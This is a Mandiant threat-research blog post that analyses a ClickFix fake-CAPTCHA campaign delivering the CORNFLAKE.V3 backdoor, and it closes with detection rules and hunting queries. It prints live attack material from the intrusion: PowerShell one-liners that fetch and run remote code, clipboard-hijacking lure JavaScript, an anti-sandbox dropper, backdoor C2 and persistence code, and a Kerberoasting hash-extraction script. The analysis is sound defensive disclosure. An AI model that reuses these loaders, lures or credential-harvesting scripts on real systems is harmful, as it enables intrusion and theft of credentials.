Written by: Marco Galli
Welcome to the Frontline Bulletin Series
Straight from Mandiant Threat Defense, the “Frontline Bulletin” series brings you the latest on the most intriguing compromises we are seeing in the wild right now, equipping our community to understand and respond to the most compelling threats we observe. This edition dissects an infection involving two threat groups, UNC5518 and UNC5774, leading to the deployment of CORNFLAKE.V3.
Introduction
Since June 2024, Mandiant Threat Defense has been tracking UNC5518, a financially motivated threat cluster compromising legitimate websites to serve fake CAPTCHA verification pages. This deceptive technique, known as ClickFix
, lures website visitors into executing a downloader script which initiates a malware infection chain. UNC5518 appears to partner with clients or affiliates who use access obtained by the group to deploy additional malware.
While the initial compromise and fake CAPTCHA deployment are orchestrated by UNC5518, the payloads served belong to other threat groups. UNC5518 utilizes downloader scripts that function as an access-as-a-service. Several distinct threat actors have been observed leveraging the access provided by UNC5518, including:
-
UNC5774: A financially motivated group known to use CORNFLAKE backdoor to deploy a variety of subsequent payloads.
-
UNC4108: A threat cluster with unknown motivation, observed using PowerShell to deploy various tools like VOLTMARKER and NetSupport RAT, and conducting reconnaissance.
This blog post details a campaign where Mandiant identified UNC5518 deploying a downloader that delivers CORNFLAKE.V3 malware. Mandiant attributes the CORNFLAKE.V3 samples to UNC5774, a distinct financially motivated actor that uses UNC5518’s access-as-a-service operation as an entry vector into target environments.
The CORNFLAKE Family
CORNFLAKE.V3 is a backdoor, observed as two variants, written in JavaScript or PHP (PHP Variant) that retrieves payloads via HTTP. Supported payload types include shell commands, executables and dynamic link libraries (DLLs). Downloaded payloads are written to disk and executed. CORNFLAKE.V3 collects basic system information and sends it to a remote server via HTTP. CORNFLAKE.V3 has also been observed abusing Cloudflare Tunnels to proxy traffic to remote servers.
CORNFLAKE.V3 is an updated version of CORNFLAKE.V2, sharing a significant portion of its codebase. Unlike V2, which functioned solely as a downloader, V3 features host persistence via a registry Run key, and supports additional payload types.
The original CORNFLAKE malware differed significantly from later iterations, as it was written in C. This first variant functioned as a downloader, gathering basic system information and transmitting it via TCP to a remote server. Subsequently, it would download and execute a payload.
Figure 1: The observed CORNFLAKE.V3 (Node.js) attack lifecycle
Initial Lead
Mandiant Threat Defense responded to suspicious PowerShell activity on a host resulting in the deployment of the CORNFLAKE.V3 backdoor.
Mandiant observed that a PowerShell script was executed via the Run command using the Windows+R
shortcut. Evidence of this activity was found in the HKEY_USERSUserSOFTWAREMicrosoftWindowsCurrentVersionExplorerRunMRU
registry key, containing the following entry which resulted in the download and execution of the next payload:
Name: a
Value: powershell -w h -c
"$u=[int64](([datetime]::UtcNow-[datetime]'1970-1-1').TotalSeconds)-band
0xfffffffffffffff0;irm 138.199.161[.]141:8080/$u|iex"1
The RunMRU
registry key stores the history of commands entered into the Windows Run
(shortcut Windows+R
) dialog box.
The execution of malicious scripts using the Windows+R
shortcut is often indicative of users who have fallen victim to ClickFix lure pages. Users typically land on such pages as a result of benign browsing leading to interaction with search results that employ SEO poisoning or malicious ads.
Figure 2: Fake CAPTCHA verification (ClickFix) on an attacker-controlled webpage
As seen in the Figure 2, the user was lured into pasting a hidden script into the Windows Run dialog box which was automatically copied to the clipboard by the malicious web page when the user clicked on the image. The webpage accomplished this with the following JavaScript code:
// An image with the reCAPTCHA logo is displayed on the webpage
<div class="c" id="j">
<img src="https://www.gstatic[.]com/recaptcha/api2/logo_48.png"
alt="reCAPTCHA Logo">
<span>I'm not a robot</span>
</div>
// The malicious script is saved in variable _0xC
var _0xC = "powershell -w h -c
"$u=[int64](([datetime]::UtcNow-[datetime]'1970-1-1').TotalSeconds)-band
0xfffffffffffffff0;irm 138.199.161[.]141:8080/$u|iex"1";
// When the image is clicked, the script is copied to the clipboard
document.getElementById("j").onclick = function(){
var ta = document.createElement("textarea");
ta.value = _0xC;
document.body.appendChild(ta);
ta.select();
document.execCommand("copy");
The PowerShell command copied to clipboard is designed to download and execute a script from the remote server 138.199.161[.]141:8080/$u
, where $u
indicates the UNIX epoch timestamp of the download.
As a result, the PowerShell process connects to the aforementioned IP address and port with URL path 1742214432
(UNIX epoch timestamp), as shown in the following HTTP GET request:
GET /1742214432 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US)
WindowsPowerShell/5.1.19041.5486
Host: 138.199.161[.]141:8080
Connection: Keep-Alive
The following PowerShell dropper script, similar to 1742214432
, was recovered from a threat-actor controlled server during the investigation of a similar CORNFLAKE.V3 compromise:
# Get computer manufacturer for evasion check.
$Manufacturer = Get-WmiObject Win32_ComputerSystem | Select-Object
-ExpandProperty Manufacturer
# Exit if running in QEMU (VM detection).
if ($Manufacturer -eq "QEMU") {
exit 0;
}
# Get memory info for evasion check.
$TotalMemoryGb =
(Get-CimInstance Win32_ComputerSystem).TotalPhysicalMemory / 1GB
$AvailableMemoryGb =
(Get-CimInstance Win32_OperatingSystem).FreePhysicalMemory / 1MB
$UsedMemoryGb = $TotalMemoryGb - $AvailableMemoryGb
# Exit if total memory is low or calculated "used" memory is low
(possible sandbox detection).
if ($TotalMemoryGb -lt 4 -or $UsedMemoryGb -lt 1.5) {
exit 0
}
# Exit if computer name matches default pattern
(possible sandbox detection).
if ($env:COMPUTERNAME -match "DESKTOP-S*") {
exit 0
}
# Pause execution briefly.
sleep 1
# Define download URL (defanged).
$ZipURL = "hxxps://nodejs[.]org/dist/v22.11.0/node-v22.11.0-win-x64.zip"
# Define destination folder (AppData).
$DestinationFolder = [System.IO.Path]::Combine($env:APPDATA, "")
# Define temporary file path for download.
$ZipFile = [System.IO.Path]::Combine($env:TEMP, "downloaded.zip")
# Download the Node.js zip file.
iwr -Uri $ZipURL -OutFile $ZipFile
# Try block for file extraction using COM objects.
try {
$Shell = New-Object -ComObject Shell.Application
$ZIP = $Shell.NameSpace($ZipFile)
$Destination = $Shell.NameSpace($DestinationFolder)
# Copy/extract contents silently.
$Destination.CopyHere($ZIP.Items(), 20)
}
# Exit on any extraction error.
catch {
exit 0
}
# Update destination path to the extracted Node.js folder.
$DestinationFolder = [System.IO.Path]::Combine($DestinationFolder,
"node-v22.11.0-win-x64")
# Base64 encoded payload (large blob containing the CORNFLAKE.V3 sample).
$BASE64STRING =<Base-64 encoded CORNFLAKE.V3 sample>
# Decode the Base64 string.
$BINARYDATA = [Convert]::FromBase64String($BASE64STRING)
# Convert decoded bytes to a string (the payload code).
$StringData = [System.Text.Encoding]::UTF8.GetString($BINARYDATA)
# Path to the extracted node.exe.
$Node = [System.IO.Path]::Combine($DestinationFolder, "node.exe")
# Start node.exe to execute the decoded string data as JavaScript, hidden.
start-process -FilePath "$Node" -ArgumentList "-e `"$StringData`""
-WindowStyle Hidden
The PowerShell dropper’s execution includes multiple steps:
-
Check if it is running inside a virtual machine and, if true, exit
-
Download Node.js via HTTPS from the URL
hxxps://nodejs[.]org/dist/v22.11.0/node-v22.11.0-win-x64.zip
, write the file to%TEMP%downloaded.zip
and extract its contents to the directory%APPDATA%node-v22.11.0-win-x64
-
Base64 decode its embedded CORNFLAKE.V3 payload and execute it via the command
%APPDATA%node-v22.11.0-win-x64node.exe -e “<base64_decoded_CORNFLAKE.v3>”
The PowerShell dropper’s anti-vm checks include checking for low system resources (total memory less than 4GB or used memory less than 1.5GB) and if the target system’s computer name matches the regular expression DESKTOP-S*
or the target system’s manufacturer is QEMU
.
As a result of the dropper’s execution, a DNS query for the nodejs[.]org
domain was made, followed by the download of an archive named downloaded.zip
(MD5: e033f9800a5ba44b23b3026cf1c38c72
). This archive contained the Node.js runtime environment, including its executable file node.exe
, which was then extracted to %APPDATA%node-v22.11.0-win-x64
. The Node.js environment allows for the execution of JavaScript code outside of a web browser.
The extracted %APPDATA%node-v22.11.0-win-x64node.exe
binary was then launched by Powershell with the -e
argument, followed by a large Node.js script, a CORNFLAKE.V3 backdoor sample.
Mandiant identified the following activities originating from the CORNFLAKE.V3 sample:
-
Host and AD-based reconnaissance
-
Persistence via Registry Run key
-
Credential harvesting attempts via Kerberoasting
The following process tree was observed during the investigation:
explorer.exe
↳ c:windowssystem32windowspowershellv1.0powershell.exe
-w h -c
"$u=[int64](([datetime]::UtcNow-[datetime]'1970-1-1').TotalSeconds)-band
0xfffffffffffffff0;irm 138.199.161[.]141:8080/$u|iex"
↳ c:users<user>appdataroamingnode-v22.11.0-win-x64node.exe
-e "{CORNFLAKE.V3}"
↳ c:windowssystem32windowspowershellv1.0powershell.exe
-c "{Initial check and System Information Collection}"
↳ C:WindowsSystem32ARP.EXE -a
↳ C:WindowsSystem32chcp.com 65001
↳ C:WindowsSystem32systeminfo.exe
↳ C:WindowsSystem32tasklist.exe /svc
↳ c:windowssystem32cmd.exe /d /s /c "wmic process where
processid=16004 get commandline"
↳ C:WindowsSystem32cmd.exe /d /s /c "{Kerberoasting}"
↳ c:windowssystem32cmd.exe /d /s /c
"{Active Directory Reconnaissance}"
↳ c:windowssystem32cmd.exe /d /s /c "reg add
{ChromeUpdater as Persistence}"
Analysis of CORNFLAKE.V3
The CORNFLAKE.V3 sample recovered in our investigation was completely unobfuscated, which allowed us to statically analyze it in order to understand its functionality. This section describes the primary functions of the malware.
Initial Check and System Information Collection
if (process.argv[1] !== undefined && process.argv[2] === undefined) {
const child = spawn(process.argv[0], [process.argv[1], '1'], {
detached: true,
stdio: 'ignore',
windowsHide: true,
});
child.unref();
process.exit(0);
}
When the script initially executes, a check verifies the command line arguments of the node.exe
process, keeping in mind that the binary is initially spawned with a single argument (the script itself), this check forces the script to create a child process which has 1
as an additional argument, then the initial node.exe
exits. When the child process runs, since it now has three arguments, it will pass this initial check and execute the rest of the script.
This check allows the malware to ensure that only one instance of the script is executing at one time, even if it is launched multiple times due to its persistence mechanisms.
Following this, the malware attempts to collect system information using the following code:
let cmd = execSync('chcp 65001 > $null 2>&1 ; echo 'version: '
+ ver + '' ; if ([Security.Principal.WindowsIdentity]::GetCurrent().Name
-match '(?i)SYSTEM') { 'Runas: System' } elseif
(([Security.Principal.WindowsPrincipal]
[Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole
([Security.Principal.WindowsBuiltInRole]::Administrator))
{ 'Runas: Admin' } else { 'Runas: User' } ; systeminfo ; echo
'=-=-=-=-=-' ; tasklist /svc ; echo '=-=-=-=-=-' ; Get-Service |
Select-Object -Property Name, DisplayName | Format-List ;
echo '=-=-=-=-=-' ; Get-PSDrive -PSProvider FileSystem | Format-Table
-AutoSize ; echo '=-=-=-=-=-' ; arp -a', { encoding: 'utf-8', shell:
'powershell.exe', windowsHide: true });
commandRet = Buffer.from(cmd, 'utf-8');
sysinfo = Buffer.concat([numberBufferInit, numberBufferId, commandRet]);
This code block executes a series of PowerShell commands (or fallback CMD commands if PowerShell fails) using execSync
. It gathers the script’s version, user privilege level (System, Admin, User), standard systeminfo output, running tasks/services (tasklist /svc
), service details (Get-Service
), available drives (Get-PSDrive
), and the ARP table (arp -a
).
C2 Initialization
After setting some logical constants and the command and control (C2) server IP address, the malware enters the mainloop
function. The script contains support for two separate lists, hosts
and hostsIP
, which are both used in the C2 communication logic. Initially, the mainloop
function attempts to connect to a random host in the hosts
list, however, if unable to do so, it will attempt to connect to a random IP address in the hostsIP
list instead. Once a connection is successfully established, the main
function is called.
// Define lists of hostnames and IP addresses for the command
and control server.
const hosts = ['159.69.3[.]151'];
const hostsIp = ['159.69.3[.]151'];
// Variables to manage the connection and retry logic.
let useIp = 0;
let delay = 1;
// Main loop to continuously communicate with the command
and control server.
async function mainloop() {
let toHost = hosts[Math.floor(Math.random() * 1000) % hosts.length];
let toIp = hostsIp[Math.floor(Math.random() * 1000) % hostsIp.length];
while (true) {
// Wait for the specified delay.
await new Promise((resolve) => setTimeout(resolve, delay));
try {
// Attempt to communicate with the command and control server.
if (useIp < 200) {
await main(toHost, PORT_IP);
useIp = 0;
} else {
await main(toIp, PORT_IP);
useIp++;
if (useIp >= 210) useIp = 0;
}
} catch (error) {
// Handle errors during communication.
console.error('Error with HTTP request:', error.message);
toHost = hosts[Math.floor(Math.random() * 1000) %
hosts.length];
toIp = hostsIp[Math.floor(Math.random() * 1000) %
hostsIp.length];
useIp++;
delay = 1000 * 10;
continue;
}
// Set the delay for the next attempt.
delay = 1000 * 60 * 5;
}
}
C2 Communication
This function, named main
, handles the main command and control logic. It takes a host and port number as arguments, and constructs the data to be sent to the C2 server. The malware sends an initial POST request to the path /init1234
, which contains information about the infected system and the output of the last executed command; the contents of this request are XOR-encrypted by the enc
function.
This request is answered by the C2 with 2 possible responses:
-
ooff
– the process exits -
atst
– theatst
function is called, which establishes persistence on the host
If the response does not match one of the aforementioned 2 values, the malware interprets the response as a payload and parses the last byte of the response after XOR decrypting it. The following values are accepted by the program:
Persistence
The atst function, called by main
, attempts to establish persistence on the host by creating a new registry Run key named ChromeUpdater
under HKCUSoftwareMicrosoftWindowsCurrentVersionRun
.
The malware uses wmic.exe
to obtain the command line arguments of the currently running node.exe
process. If node.exe
was launched with the -e
argument, like the malware does initially, the script extracts the argument after -e
, which contains the full malicious script. This script is written to the <random_8_chars>.log
file in the Node.js installation directory and its path is saved to the path2file
variable.
If node.exe
was instead launched with a file as an argument (such as during the persistence phase), the path to this file is extracted and saved to the path2file
variable.
The path2file
variable is then set as an argument to node.exe
in the newly created ChromeUpdater
registry key. This ensures that the malware executes upon user logon.
Executed Payloads
As observed in the main function, this sample can receive and execute different types of payloads from its C2 server. This section describes two payloads that were observed in our investigation.
Active Directory Reconnaissance
The first payload observed on the host was a batch script containing reconnaissance commands. The script initially determines if the host is domain-joined, this condition determines which specific reconnaissance type is executed.
Domain Joined
- Query Active Directory Computer Count: Attempts to connect to Active Directory and count the total number of computer objects registered in the domain.
- Display Detailed User Context: Executes
whoami /all
to reveal the current user’s Security Identifier (SID), domain and local group memberships, and assigned security privileges. - Enumerate Domain Trusts: Executes
nltest /domain_trusts
to list all domains that the current computer’s domain has trust relationships with (both incoming and outgoing). - List Domain Controllers: Executes
nltest /dclist :
to find and list the available Domain Controllers (DCs) for the computer’s current domain. - Query Service Principal Names (SPNs): Executes
setspn -T <UserDomain> -Q */*
to query for all SPNs registered in the user’s logon domain, then filters the results (Select-String) to specifically highlight SPNs potentially associated with user accounts (lines starting CN=…Users).
Not Domain Joined
- Enumerate Local Groups: Uses
Get-LocalGroup
to list all security groups defined locally on the machine. - Enumerate Local Group Members: For each local group found, uses
Get-LocalGroupMember
to list the accounts (users or other groups) that are members of that group, displaying their Name and PrincipalSource (e.g., Local, MicrosoftAccount).
Kerberoasting
The second script executed is a batch script which attempts to harvest credentials via Kerberoasting. The script queries Active Directory for user accounts configured with SPNs (often an indication of a service account using user credentials). For each of these, it requests a Kerberos service ticket from which a password hash is extracted and formatted. These hashes are exfiltrated to the C2 server, where the attacker can attempt to crack them.
$a = 'System.IdentityModel';
$b = [Reflection.Assembly]::LoadWithPartialName($a);
$c = New - Object DirectoryServices.DirectorySearcher([ADSI]'');
$c.filter = '(&(servicePrincipalName=*)(objectCategory=user))';
$d = $c.Findall();
foreach($e in $d) {
$f = $e.GetDirectoryEntry();
$g = $f.samAccountName;
if ($g - ne 'krbtgt') {
Start - Sleep - Seconds (Get - Random - Minimum 1
- Maximum 11);
foreach($h in $f.servicePrincipalName) {
$i = $null;
try {
$i = New -
Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken
- ArgumentList $h;
} catch {}
if ($i - ne $null) {
$j = $i.GetRequest();
if ($j) {
$k = [System.BitConverter]::ToString($j) - replace'-';
[System.Collections.ArrayList]$l =
($k - replace'^(.*?)04820...(.*)', '$2') - Split'A48201';
$l.RemoveAt($l.Count - 1);
$m = $l - join'A48201';
try {
$m = $m.Insert(32, '$');
$n = '$krb5tgs$23$*' + $g + '/' + $h + '*$' + $m;
Write - Host $n;
break;
} catch {}}}}}}
PHP Variant
Mandiant Threat Defense recently observed a new PHP-based CORNFLAKE.V3 variant which has similar functionality to the previous Node.js based iterations.
This version was dropped by an in-memory script which was executed as a result of interaction with a malicious ClickFix lure page.
The script downloads the PHP package from windows.php[.]net
, writes it to disk as php.zip
and extracts its contents to the C:Users<User>AppDataRoamingphp
directory. The CORNFLAKE.V3 PHP sample is contained in the config.cfg
file that was also dropped in the same directory and executed with the following command line arguments:
"C:Users<User>AppDataRoamingphpphp.exe" -d extension=zip -d
extension_dir=ext C:Users<User>AppDataRoamingphpconfig.cfg 1
To maintain persistence on the host, this variant utilizes a registry Run key named after a randomly chosen directory in %APPDATA%
or %LOCALAPPDATA%
instead of the fixed ChromeUpdater
string used in the Node.js version. To communicate with its C2 a unique path is generated for each request, unlike the static /init1234
path:
POST /ue/2&290cd148ed2f4995f099b7370437509b/fTqvlt HTTP/1.1
Host: varying-rentals-calgary-predict.trycloudflare[.]com
Connection: close
Content-Length: 39185
Content-type: application/octet-stream
Much like the Node.js version, the last byte of the received payload determines the payload type, however, these values differ in the PHP version:
The Javascript payload execution functionality was retained by implementing the download of the Node.js runtime environment inside the JS
command. Other notable changes include the change of the DLL
and JS
payload file extensions into .png
and .jpg
to evade detection and the addition of the ACTIVE
and AUTORUN
commands. However, the main functionality of the backdoor remains unchanged despite the transition from Node.js to PHP.
These changes suggest an ongoing effort by the threat actor to refine their malware against evolving security measures.
Executed Payloads
Active Directory Reconnaissance
A cmd.exe reconnaissance payload similar to the one encountered in the Node.js variant was received from the C2 server and executed. The script checks if the machine is part of an Active Directory domain and collects the following information using powershell:
Domain Joined
-
Total count of computer accounts in AD.
-
Domain trust relationships.
-
List of all Domain Controllers.
-
Members of the “Domain Admins” group.
-
User accounts configured with a Service Principal Name (SPN).
-
All local groups and their members
-
Current User name, SID, local group memberships and security privileges
Not Domain Joined
-
All local groups and their members
-
Current User name, SID, local group memberships and security privileges
WINDYTWIST.SEA Backdoor
Following the interaction with its C2 server, a DLL payload (corresponding to command 1) was received, written to disk as C:Users<User>AppDataRoamingShift19434078G0ZrQi.png
and executed using rundll32
. This file was a WINDYTWIST.SEA
backdoor implant configured with the following C2 servers:
tcp://167.235.235[.]151:443
tcp://128.140.120[.]188:443
tcp://177.136.225[.]135:443
This implant is a C version of the Java WINDYTWIST
backdoor, which supports relaying TCP traffic, providing a reverse shell, executing commands, and deleting itself. In previous intrusions, Mandiant observed WINDYTWIST.SEA
samples attempting to move laterally in the network of the infected machine.
The following process tree was observed during the infection:
explorer.exe
↳ C:WINDOWSSystem32WindowsPowerShellv1.0powershell.exe
"-c irm dnsmicrosoftds-data[.]com/log/out | clip; &
([scriptblock]::Create((Get-Clipboard) -join
(""+[System.Environment]::NewLine)))"
↳ C:WINDOWSsystem32clip.exe
↳ C:WINDOWSSystem32WindowsPowerShellv1.0powershell.exe
"-w H -c irm windows-msg-as[.]live/qwV1jxQ"
↳ C:WINDOWSsystem32systeminfo.exe
↳ C:Users<user>AppDataRoamingphpphp.exe "-d extension=zip
-d extension_dir=ext C:Users<user>AppDataRoamingphpconfig.cfg
1 {CORNFLAKE.V3}"
↳ cmd.exe /s /c "powershell -c
{Multiple PS Commands for Host Reconnaissance}"
↳ cmd.exe /s /c "powershell -c
{Multiple PS Commands for Host Reconnaissance}"
↳ cmd.exe /s /c "reg add
HKCUSoftwareMicrosoftWindowsCurrentVersionRun
/v "random_appdata_dirname" /t REG_SZ /d ""<php_binary_path>"
"<script_path>"" /f"
↳ powershell.exe
↳ C:WindowsSystem32rundll32.exe
"{WINDYTWIST.SEA Backdoor}" start
Conclusion
This investigation highlights the collaborative nature of modern cyber threats, where UNC5518 leverages compromised websites and deceptive ClickFix lures to gain initial access. This access is then utilized by other actors like UNC5774, who deploy versatile malware such as the CORNFLAKE.V3 backdoor. The subsequent reconnaissance and credential harvesting activities we observed indicate that the attackers intend to move laterally and expand their foothold in the environment.
To mitigate malware execution through ClickFix, organizations should disable the Windows Run dialog box where possible. Regular simulation exercises are crucial to counter this and other social engineering tactics. Furthermore, robust logging and monitoring systems are essential for detecting the execution of subsequent payloads, such as those associated with CORNFLAKE.V3.
Acknowledgements
Special thanks to Diana Ion, Yash Gupta, Rufus Brown, Mike Hunhoff, Genwei Jiang, Mon Liclican, Preston Lewis, Steve Sedotto, Elvis Miezitis and Rommel Joven for their valuable contributions to this blog post.
Detection Through Google Security Operations
For detailed guidance on hunting for this activity using the following queries, and for a forum to engage with our security experts, please visit our companion post on the Google Cloud Community blog.
Mandiant has made the relevant rules available in the Google SecOps Mandiant Frontline Threats curated detections rule set. The activity discussed in the blog post is detected in Google SecOps under the rule names:
-
Powershell Executing NodeJS
-
Powershell Writing To Appdata
-
Suspicious Clipboard Interaction
-
NodeJS Reverse Shell Execution
-
Download to the Windows Public User Directory via PowerShell
-
Run Utility Spawning Suspicious Process
-
WSH Startup Folder LNK Creation
-
Trycloudflare Tunnel Network Connections
SecOps Hunting Queries
The following UDM queries can be used to identify potential compromises within your environment.
Execution of CORNFLAKE.V3 — Node.js
Search for potential compromise activity where PowerShell is used to launch node.exe from %AppData% path with the -e argument, indicating direct execution of a malicious JavaScript string.
metadata.event_type = "PROCESS_LAUNCH"
principal.process.file.full_path = /powershell.exe/ nocase
target.process.file.full_path = /appdataroaming.*node.exe/ nocase
target.process.command_line = /"?node.exe"?s*-es*"/ nocase
Execution of CORNFLAKE.V3 — PHP
Search for compromise activity where PowerShell is executing php.exe from %AppData% path. This variant is characterized by the use of the -d argument, executing a PHP script without a .php file extension, and passing the argument 1 to the PHP interpreter, indicating covert execution of malicious PHP code.
metadata.event_type = "PROCESS_LAUNCH"
principal.process.file.full_path = /powershell.exe/ nocase
target.process.file.full_path = /appdataroaming.*php.exe/ nocase
target.process.command_line = /"?php.exe"?s*-ds.*1$/ nocase
target.process.command_line != /.phps*s*/ nocase
CORNFLAKE.V3 Child Process Spawns
Search suspicious process activity where cmd.exe or powershell.exe are spawned as child processes from node.exe or php.exe when those executables are located in %AppData%.
metadata.event_type = "PROCESS_LAUNCH"
principal.process.file.full_path =
/appdataroaming.*node.exe|appdataroaming.*php.exe/ nocase
target.process.file.full_path = /powershell.exe|cmd.exe/ nocase
Suspicious Connections to Node.js/PHP Domains
Search unusual network connections initiated by powershell.exe or mshta.exe to legitimate Node.js (nodejs.org) or PHP (windows.php.net) infrastructure domains.
metadata.event_type = "NETWORK_CONNECTION"
principal.process.file.full_path = /powershell.exe|mshta.exe/ nocase
target.hostname = /nodejs.org|windows.php.net/ nocase
Indicators of Compromise (IOCs)
A Google Threat Intelligence (GTI) collection of IOCs is available to registered users.